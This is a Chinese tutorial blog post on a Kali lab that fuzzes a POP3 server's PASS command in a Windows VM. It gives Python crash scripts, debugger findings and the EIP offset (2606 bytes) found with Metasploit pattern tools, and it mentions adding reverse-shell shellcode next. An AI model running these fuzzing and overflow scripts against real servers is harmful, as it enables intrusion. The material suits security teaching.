上一篇文章,我已经做好了缓冲区溢出实验的准备工作:

https://www.cnblogs.com/xuyiqing/p/9835561.html

下面就是Kali虚拟机对缓冲区溢出的测试:

已经知道目标IP为:192.168.163.130

连接目标机器110端口成功,接下来进行测试

事先已经知道PASS命令存在缓冲区溢出漏洞:

只要在PASS后边输入的数据达到某一个值时,就会出现缓冲区溢出漏洞

但是,手动尝试这个值实在有点低端,写一个Python脚本:

先写一个基本的脚本来测试:

#!/usr/bin/python
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try:
print "\nSending evil buffer..."
s.connect(('192.168.163.130', 110))
data = s.recv(1024)
print data s.send('USER test' + '\r\n')
data = s.recv(1024)
print data s.send('PASS test\r\n')
data = s.recv(1024)
print data s.close()
print '\nDone' except:
print 'Can not connect to POP3'

使用脚本:

如果脚本是从windows移过来的:

vi xxx.py

:set fileformat=unix

:wq

chmod u+x xxx.py

./xxx.py

测试:OK

完善脚本:

#!/usr/bin/python
import socket buffer = ["A"]
counter = 100 while len(buffer) <= 30:
buffer.append("A" * counter)
counter += 200 for string in buffer:
print "FUZZING PASS WITH %s BYTES" % len(string)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(('192.168.163.130', 110))
s.recv(1024)
s.send('USER test' + '\r\n')
s.recv(1024)
s.send('PASS ' + string + '\r\n')
s.send('QUIT\r\n')
s.close()

测试:OK

我们发送这么多的数据来测试,那么问题来了,要怎么判断目标机器到底有没有缓冲区溢出?

这时候就需要上一篇提到的ImmunityDebugger了:

先得到进程的PID:

记住这个PID,打开ImmunityDebugger,file菜单选择attach

然后找到刚才的PID选择即可:

默认的暂停状态,点击开始按钮来继续:

打开Kali虚拟机开始发送:

果然,发送到2900的时候停下来了:

我们看看windows机器:

观察寄存器:

注意这里的寄存器显示:41414141,根据Ascii码表,得出是AAAA

这里重点注意EIP:系统下一步要执行指令的内存地址

而这里下一条指令全部都是A,没有正确的执行代码,所以现在程序已经崩溃了

再看看下边的内存信息:全部都是A

我们可以把脚本的A改成其他字符继续测试,发现都是到3000左右程序崩溃

到这里我们想到:是否可以通过这个漏洞来做一些事情?

OK,我们可以通过脚本测试得到确切的溢出值,然后修改EIP寄存器存放下一条指令的地址

可以添加一些后门程序,如果是Shellcode就可以进一步控制目标机器

下一个目标: 找出精确的溢出到EIP寄存器的字节,进而可以修改程序运行轨迹

我们进一步来写一个脚本:

#!/usr/bin/python
import socket buffer = 'A' * 2700 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print "\nSending evil buffer...\n"
s.connect(('192.168.163.130', 110))
data1 = s.recv(1024)
s.send('USER test' + '\r\n')
data2 = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
s.close()
print '\nDone'
except:
print 'Can not connect to POP3'

发送过去程序崩溃了,说明2700大了,那么需要调小一些,

改成2600试试:发现程序崩溃了,但是EIP并不是A,所以想要利用需要比2600大

到这里就知道了,最终数据应该是2600-2700之间

不过,具体该怎么精确地跳转呢?

二分法:不必多说

唯一字符串法:生成2700个字符,每四个一组,每一组字符串唯一,发送唯一字符串,精确定位

唯一字符串脚本比较复杂,但不需要自己写,Kali虚拟机里面就有:metasploit-framework一个ruby脚本

使用方式: ./pattern_create.rb -l 2700

我们使用这2700个字符地唯一字符串来修改上边地脚本,把“A”*2700换成这个字符串

查看寄存器:

发现唯一字符串对应地址(16进制)是:39 69 44 38

由于内存地址,读取要倒过来:38 44 69 39

对应字符是:8 D i 9

那么怎样知道对应第几位呢?

metasploit-framework一个ruby脚本可以解决:

使用:

或者这样:

得出是在第2606个位置

既然得到了是在第2606个位置:

就可以继续修改这个脚本了:测试能否恰好是BBBB

#!/usr/bin/python
import socket buffer = 'A' * 2606 + 'B' * 4 + 'C' * 20 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print "\nSending evil buffer...\n"
s.connect(('192.168.163.130', 110))
data1 = s.recv(1024)
s.send('USER test' + '\r\n')
data2 = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
s.close()
print '\nDone'
except:
print 'Can not connect to POP3'

果然:

查看42对应的就是B

那么

假设,在ESP中,不是20个C,而是Shellcode或者是恶意代码(反向连接等等)

就可以实现远程控制的目的

具体如何精确修改而实现对目标机器的控制呢?

下一篇随笔具体介绍

Kali学习笔记21:缓冲区溢出实验(漏洞发现)的更多相关文章

  1. Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...

  2. Kali学习笔记29:默认安装漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 默认安装漏洞: 早期Windows默认自动开启很多服务 ...

  3. Kali学习笔记22:缓冲区溢出漏洞利用实验

    实验机器: Kali虚拟机一台(192.168.163.133) Windows XP虚拟机一台(192.168.163.130) 如何用Kali虚拟机一步一步“黑掉”这个windowsXP虚拟机呢? ...

  4. Kali学习笔记33:Linux系统缓冲区溢出实验

    之前做过一个Windows应用SLmail的缓冲区溢出的实验 这次来做一个Linux平台的缓冲区溢出实验: 缓冲区溢出是什么? 学过汇编的应该知道,当缓冲区边界限制不严格时,由于变量传入畸形数据或程序 ...

  5. SEED缓冲区溢出实验笔记

    缓冲区溢出实验(Linux 32位) 参考教程与材料:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/ (本 ...

  6. 2018-2019-2 20165232《网络对抗技术》Exp1 缓冲区溢出实验

    2018-2019-2 20165232<网络对抗技术>Exp1 缓冲区溢出实验 实验点1:逆向及Bof基础实践 实践任务 用一个pwn1文件. 该程序正常执行流程是:main调用foo函 ...

  7. 2018-2019-2 20165225《网络对抗技术》Exp1 缓冲区溢出实验

    2018-2019-2 20165225<网络对抗技术>Exp1 缓冲区溢出实验 声明 虽然老师在邮箱中要求要把虚拟机名改为个人名字缩写,但是我的kali好像不是很听话...重启数次也没用 ...

  8. 使用Linux进行缓冲区溢出实验的配置记录

    在基础的软件安全实验中,缓冲区溢出是一个基础而又经典的问题.最基本的缓冲区溢出即通过合理的构造输入数据,使得输入数据量超过原始缓冲区的大小,从而覆盖数据输入缓冲区之外的数据,达到诸如修改函数返回地址等 ...

  9. 2017-2018-2 20179215《网络攻防实践》seed缓冲区溢出实验

    seed缓冲区溢出实验 有漏洞的程序: /* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our tas ...

随机推荐

  1. Image 图片

    随机矩阵画图 这一节我们讲解怎样在matplotlib中打印出图像.这里打印出的是纯粹的数字,而非自然图像.下面用 3x3 的 2D-array 来表示点的颜色,每一个点就是一个pixel. impo ...

  2. qt quick-初始学习概念

    Qt Quick简介: Qt Quik 是一种高级用户界面技术,使用它可以轻松地创建供移动和嵌入式设备使用到动态触摸式界面和轻量级应用程序:Qt Quick主要由三部份组成: 改进的Qt Creato ...

  3. GarageBand mac怎么剪切音频片段? GarageBand mac使用教程

    garageband mac智能控制轻松修饰声音资源库中任何乐器的音色,让你在世界各地都可以开始你的创意,让世界听到你的歌声.GarageBand mac剪切音频片段的操作小伙伴们也是需要掌握的,Ga ...

  4. List Leave

    本次作业是建立二叉树并输出叶结点 (1)首先是定义结点,包括左孩子,右孩子 typedef struct { int lch;//左孩子 int rch;//右孩子 }Node; (2)建立二叉树 c ...

  5. 一次HTTP请求响应涉及了哪些?

    HTTP请求和响应步骤 TCP/IP协议 TCP三次握手 HTTP协议 HTTP请求报文 HTTP响应报文 TCP四次挥手 HTTP请求和响应步骤 以上完整表示了HTTP请求和响应的7个步骤,下面从T ...

  6. 初识“FireBug”

    今天学习前端知识又一次提到“FireBug”这款插件,现在,把今天学到的一点东西简单记录下来. 什么是FireBug FireBug是一个用于网站前端开发的工具,它是FireFox浏览器的一个扩展插件 ...

  7. 磨人的Fragment的转换

    磨人的Fragment的转换 本次任务是 程序运行之后将第一个Fragment加载出来 然后点击"SHOW NEXT PAGE"切换到第二个Fragment 当再次点击按钮时下方出 ...

  8. shiro简单配置 (写的不错 收藏一下)

    抄袭的连接:https://blog.csdn.net/clj198606061111/article/details/24185023 注:这里只介绍spring配置模式. 因为官方例子虽然中有更加 ...

  9. Spring-boot在windows上安装CLI(Command Line Interface)的步骤!

    首先去下载安装包,我这里整了一个zip包,一个tar包,下载地址:https://github.com/zhangyawei117/Spring-boot-CLI.git 下载完了之后,把zip包解压 ...

  10. git撤销commit-hard

    场景: 不小心commit了一个不应该commit的修改,但是还没有push,想撤销那个commit 命令: a)git log b)git reset --hard commit_id 具体步骤如下 ...